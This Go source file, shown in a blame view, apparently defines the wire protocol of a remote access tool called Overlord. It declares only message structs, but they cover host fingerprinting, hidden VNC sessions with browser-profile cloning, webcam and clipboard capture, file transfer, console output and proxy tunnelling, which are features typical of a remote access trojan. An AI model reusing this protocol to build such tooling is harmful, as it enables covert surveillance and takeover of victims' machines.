Files
overlord/Overlord-Client/cmd/agent/wire/protocol.go
T

423 lines
13 KiB
Go
Raw Normal View History

2026-03-05 00:04:26 -06:00
package wire
type Hello struct {
2026-05-30 22:44:55 -05:00
Type string `msgpack:"type"`
ID string `msgpack:"id"`
HWID string `msgpack:"hwid"`
Host string `msgpack:"host"`
OS string `msgpack:"os"`
Arch string `msgpack:"arch"`
HostArch string `msgpack:"hostArch,omitempty"`
Version string `msgpack:"version"`
User string `msgpack:"user"`
Monitors int `msgpack:"monitors"`
MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"`
Country string `msgpack:"country,omitempty"`
BuildTag string `msgpack:"buildTag,omitempty"`
PublicKey string `msgpack:"publicKey,omitempty"`
Signature string `msgpack:"signature,omitempty"`
InMemory bool `msgpack:"inMemory,omitempty"`
CPU string `msgpack:"cpu,omitempty"`
GPU string `msgpack:"gpu,omitempty"`
RAM string `msgpack:"ram,omitempty"`
BatteryPercent *int `msgpack:"batteryPercent,omitempty"`
BatteryCharging bool `msgpack:"batteryCharging,omitempty"`
IsAdmin bool `msgpack:"isAdmin,omitempty"`
Elevation string `msgpack:"elevation,omitempty"`
Permissions map[string]bool `msgpack:"permissions,omitempty"`
PublicIP string `msgpack:"publicIP,omitempty"`
2026-03-20 22:38:17 -05:00
}
type EnrollmentChallenge struct {
Type string `msgpack:"type"`
Nonce string `msgpack:"nonce"`
}
type EnrollmentStatus struct {
Type string `msgpack:"type"`
Status string `msgpack:"status"`
2026-03-05 00:04:26 -06:00
}
type MonitorInfo struct {
Width int `msgpack:"width"`
Height int `msgpack:"height"`
}
type Ping struct {
Type string `msgpack:"type"`
TS int64 `msgpack:"ts,omitempty"`
}
type Pong struct {
Type string `msgpack:"type"`
TS int64 `msgpack:"ts,omitempty"`
}
type Command struct {
Type string `msgpack:"type"`
CommandType string `msgpack:"commandType"`
Payload interface{} `msgpack:"payload,omitempty"`
ID string `msgpack:"id,omitempty"`
}
type CommandResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
OK bool `msgpack:"ok"`
Message string `msgpack:"message,omitempty"`
}
type FrameHeader struct {
Monitor int `msgpack:"monitor"`
FPS int `msgpack:"fps"`
Format string `msgpack:"format"`
HVNC bool `msgpack:"hvnc,omitempty"`
2026-03-08 22:31:11 -05:00
Webcam bool `msgpack:"webcam,omitempty"`
2026-03-05 00:04:26 -06:00
}
type Frame struct {
Type string `msgpack:"type"`
Header FrameHeader `msgpack:"header"`
Data []byte `msgpack:"data"`
}
2026-04-08 14:14:09 -05:00
type FrameAck struct {
Type string `msgpack:"type"`
}
2026-03-05 00:04:26 -06:00
type ScreenshotResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
Format string `msgpack:"format"`
Width int `msgpack:"width,omitempty"`
Height int `msgpack:"height,omitempty"`
Data []byte `msgpack:"data"`
Error string `msgpack:"error,omitempty"`
}
type ConsoleOutput struct {
Type string `msgpack:"type"`
SessionID string `msgpack:"sessionId"`
Data []byte `msgpack:"data,omitempty"`
ExitCode *int `msgpack:"exitCode,omitempty"`
Error string `msgpack:"error,omitempty"`
}
type FileEntry struct {
Name string `msgpack:"name"`
Path string `msgpack:"path"`
IsDir bool `msgpack:"isDir"`
Size int64 `msgpack:"size"`
ModTime int64 `msgpack:"modTime"`
Mode string `msgpack:"mode,omitempty"`
Owner string `msgpack:"owner,omitempty"`
Group string `msgpack:"group,omitempty"`
2026-05-17 00:51:17 -05:00
// windows file attributes
Attrs uint32 `msgpack:"attrs,omitempty"`
2026-05-21 09:51:12 -05:00
// Drive / volume disk usage (populated only at root listings for drive entries).
2026-05-29 15:41:08 -05:00
FreeBytes int64 `msgpack:"freeBytes,omitempty"`
TotalBytes int64 `msgpack:"totalBytes,omitempty"`
2026-05-21 09:51:12 -05:00
FSType string `msgpack:"fsType,omitempty"`
2026-03-05 00:04:26 -06:00
}
type FileListResult struct {
2026-05-29 15:41:08 -05:00
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
Path string `msgpack:"path"`
Entries []FileEntry `msgpack:"entries"`
Error string `msgpack:"error,omitempty"`
AccessDenied bool `msgpack:"accessDenied,omitempty"`
CanRequestAccess bool `msgpack:"canRequestAccess,omitempty"`
AccessHelp string `msgpack:"accessHelp,omitempty"`
2026-03-05 00:04:26 -06:00
}
type FileDownload struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
Path string `msgpack:"path"`
Data []byte `msgpack:"data"`
Offset int64 `msgpack:"offset"`
Total int64 `msgpack:"total"`
ChunkIndex int `msgpack:"chunkIndex,omitempty"`
ChunksTotal int `msgpack:"chunksTotal,omitempty"`
Error string `msgpack:"error,omitempty"`
}
type FileUploadResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
TransferID string `msgpack:"transferId,omitempty"`
Path string `msgpack:"path"`
OK bool `msgpack:"ok"`
Offset int64 `msgpack:"offset,omitempty"`
Size int64 `msgpack:"size,omitempty"`
Received int64 `msgpack:"received,omitempty"`
Total int64 `msgpack:"total,omitempty"`
Error string `msgpack:"error,omitempty"`
}
type ProcessInfo struct {
PID int32 `msgpack:"pid"`
PPID int32 `msgpack:"ppid"`
Name string `msgpack:"name"`
2026-05-21 09:51:12 -05:00
ExePath string `msgpack:"exePath,omitempty"`
2026-03-05 00:04:26 -06:00
CPU float64 `msgpack:"cpu"`
Memory uint64 `msgpack:"memory"`
Username string `msgpack:"username,omitempty"`
Type string `msgpack:"type,omitempty"`
Self bool `msgpack:"self,omitempty"`
2026-03-05 00:04:26 -06:00
}
type ProcessListResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
Processes []ProcessInfo `msgpack:"processes"`
Error string `msgpack:"error,omitempty"`
}
type FileReadResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
Path string `msgpack:"path"`
Content string `msgpack:"content"`
IsBinary bool `msgpack:"isBinary"`
Error string `msgpack:"error,omitempty"`
}
type FileSearchMatch struct {
Path string `msgpack:"path"`
Line int `msgpack:"line,omitempty"`
Match string `msgpack:"match,omitempty"`
}
type FileSearchResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
SearchID string `msgpack:"searchId"`
Results []FileSearchMatch `msgpack:"results"`
Complete bool `msgpack:"complete"`
Error string `msgpack:"error,omitempty"`
}
2026-05-17 00:51:17 -05:00
type FileIconRequestItem struct {
Key string `msgpack:"key"`
Path string `msgpack:"path,omitempty"`
Ext string `msgpack:"ext,omitempty"`
}
type FileIconResultItem struct {
Key string `msgpack:"key"`
PNG []byte `msgpack:"png,omitempty"`
Error string `msgpack:"error,omitempty"`
}
type FileIconResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
Icons []FileIconResultItem `msgpack:"icons"`
}
type FileThumbnailRequestItem struct {
Key string `msgpack:"key"`
Path string `msgpack:"path"`
Size int `msgpack:"size,omitempty"`
}
type FileThumbnailResultItem struct {
Key string `msgpack:"key"`
JPEG []byte `msgpack:"jpeg,omitempty"`
W int `msgpack:"w,omitempty"`
H int `msgpack:"h,omitempty"`
Error string `msgpack:"error,omitempty"`
}
type FileThumbnailResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
Thumbs []FileThumbnailResultItem `msgpack:"thumbs"`
}
2026-05-21 09:51:12 -05:00
type FilePeekResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
Path string `msgpack:"path"`
Data []byte `msgpack:"data,omitempty"`
Size int64 `msgpack:"size"`
IsText bool `msgpack:"isText"`
Error string `msgpack:"error,omitempty"`
}
type FileHashResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
Path string `msgpack:"path"`
Algorithm string `msgpack:"algorithm"`
Digest string `msgpack:"digest"`
Size int64 `msgpack:"size"`
Error string `msgpack:"error,omitempty"`
}
2026-05-17 00:51:17 -05:00
type FolderSizeResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
Path string `msgpack:"path"`
Bytes int64 `msgpack:"bytes"`
Files int64 `msgpack:"files"`
Dirs int64 `msgpack:"dirs"`
Done bool `msgpack:"done"`
Error string `msgpack:"error,omitempty"`
}
2026-03-05 00:04:26 -06:00
type ScriptResult struct {
Type string `msgpack:"type"`
CommandID string `msgpack:"commandId,omitempty"`
OK bool `msgpack:"ok"`
Output string `msgpack:"output"`
Error string `msgpack:"error,omitempty"`
}
type PluginEvent struct {
Type string `msgpack:"type"`
PluginID string `msgpack:"pluginId"`
Event string `msgpack:"event"`
Payload interface{} `msgpack:"payload,omitempty"`
Error string `msgpack:"error,omitempty"`
}
type Notification struct {
Type string `msgpack:"type"`
Category string `msgpack:"category"`
Title string `msgpack:"title"`
Process string `msgpack:"process,omitempty"`
ProcessPath string `msgpack:"processPath,omitempty"`
PID int32 `msgpack:"pid,omitempty"`
Keyword string `msgpack:"keyword,omitempty"`
TS int64 `msgpack:"ts,omitempty"`
}
2026-03-08 22:31:11 -05:00
type WebcamDevice struct {
Index int `msgpack:"index"`
Name string `msgpack:"name"`
MaxFPS int `msgpack:"maxFps,omitempty"`
}
type WebcamDevices struct {
Type string `msgpack:"type"`
Devices []WebcamDevice `msgpack:"devices"`
Selected int `msgpack:"selected"`
}
type HVNCCloneProgress struct {
Type string `msgpack:"type"`
Browser string `msgpack:"browser"`
Percent int `msgpack:"percent"`
CopiedBytes int64 `msgpack:"copiedBytes"`
TotalBytes int64 `msgpack:"totalBytes"`
Status string `msgpack:"status"`
}
2026-03-15 16:14:50 -05:00
type HVNCDXGIStatus struct {
Type string `msgpack:"type"`
Success bool `msgpack:"success"`
GPUPid uint32 `msgpack:"gpuPid"`
Message string `msgpack:"message"`
}
2026-03-21 17:42:31 -05:00
type HVNCLookupResult struct {
Type string `msgpack:"type"`
Exe string `msgpack:"exe"`
Path string `msgpack:"path"`
Done bool `msgpack:"done"`
}
type HVNCBrowserCheckResult struct {
Type string `msgpack:"type"`
Browsers map[string]bool `msgpack:"browsers"`
}
type HVNCInstalledApp struct {
Name string `msgpack:"name"`
ExePath string `msgpack:"exePath"`
Icon string `msgpack:"icon"`
}
type HVNCInstalledAppsResult struct {
Type string `msgpack:"type"`
Apps []HVNCInstalledApp `msgpack:"apps"`
Done bool `msgpack:"done"`
}
2026-05-15 18:29:25 -05:00
type HVNCBrowserLaunchStatus struct {
Type string `msgpack:"type"`
Browser string `msgpack:"browser"`
Step string `msgpack:"step"`
Success bool `msgpack:"success"`
Detail string `msgpack:"detail"`
}
type HVNCWindowEntry struct {
Title string `msgpack:"title"`
X int `msgpack:"x"`
Y int `msgpack:"y"`
Width int `msgpack:"width"`
Height int `msgpack:"height"`
PID uint32 `msgpack:"pid"`
ProcessName string `msgpack:"processName"`
Monitor int `msgpack:"monitor"`
}
type HVNCMonitorEntry struct {
Index int `msgpack:"index"`
Name string `msgpack:"name"`
X int `msgpack:"x"`
Y int `msgpack:"y"`
Width int `msgpack:"width"`
Height int `msgpack:"height"`
Primary bool `msgpack:"primary"`
}
type HVNCWindowListResult struct {
Type string `msgpack:"type"`
Windows []HVNCWindowEntry `msgpack:"windows"`
Monitors []HVNCMonitorEntry `msgpack:"monitors"`
}
2026-03-28 21:58:16 -05:00
type ClipboardContent struct {
Type string `msgpack:"type"`
Text string `msgpack:"text"`
Source string `msgpack:"source"`
}
2026-03-15 16:14:50 -05:00
type ProxyData struct {
Type string `msgpack:"type"`
ConnectionID string `msgpack:"connectionId"`
Data []byte `msgpack:"data"`
}
type ProxyClose struct {
Type string `msgpack:"type"`
ConnectionID string `msgpack:"connectionId"`
}
type DisconnectInfo struct {
Type string `msgpack:"type"`
Reason string `msgpack:"reason"` // "normal", "panic", "crash", "network", "timeout"
Detail string `msgpack:"detail,omitempty"` // error message
}
2026-05-13 13:44:33 -05:00
type WebRTCP2PAnswer struct {
Type string `msgpack:"type"`
SessionID string `msgpack:"sessionId"`
2026-05-13 20:19:21 -05:00
Kind string `msgpack:"kind,omitempty"`
2026-05-13 13:44:33 -05:00
SDP string `msgpack:"sdp"`
}
type WebRTCP2PIce struct {
Type string `msgpack:"type"`
SessionID string `msgpack:"sessionId"`
2026-05-13 20:19:21 -05:00
Kind string `msgpack:"kind,omitempty"`
2026-05-13 13:44:33 -05:00
Candidate string `msgpack:"candidate"`
SDPMid string `msgpack:"sdpMid"`
SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"`
}